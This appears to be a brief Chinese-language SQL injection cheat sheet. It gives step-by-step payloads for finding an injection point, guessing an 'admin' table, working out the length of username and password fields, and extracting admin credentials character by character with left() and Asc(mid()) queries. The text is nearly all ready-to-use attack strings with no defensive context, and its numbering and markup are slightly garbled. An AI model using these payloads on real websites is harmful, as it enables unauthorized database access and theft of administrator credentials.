.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass
password 等..
and 0(select count(*) from *)
and 0(select
count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到00)--
and 1=(select
count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from
admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度
猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where
len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and
1=(select count(*) from admin where len(name)=6) 正确
and 1=(select
count(*) from admin where len(password)>11) 正确
and 1=(select count(*)
from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from
admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from
admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1= (select count(*) from admin
where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
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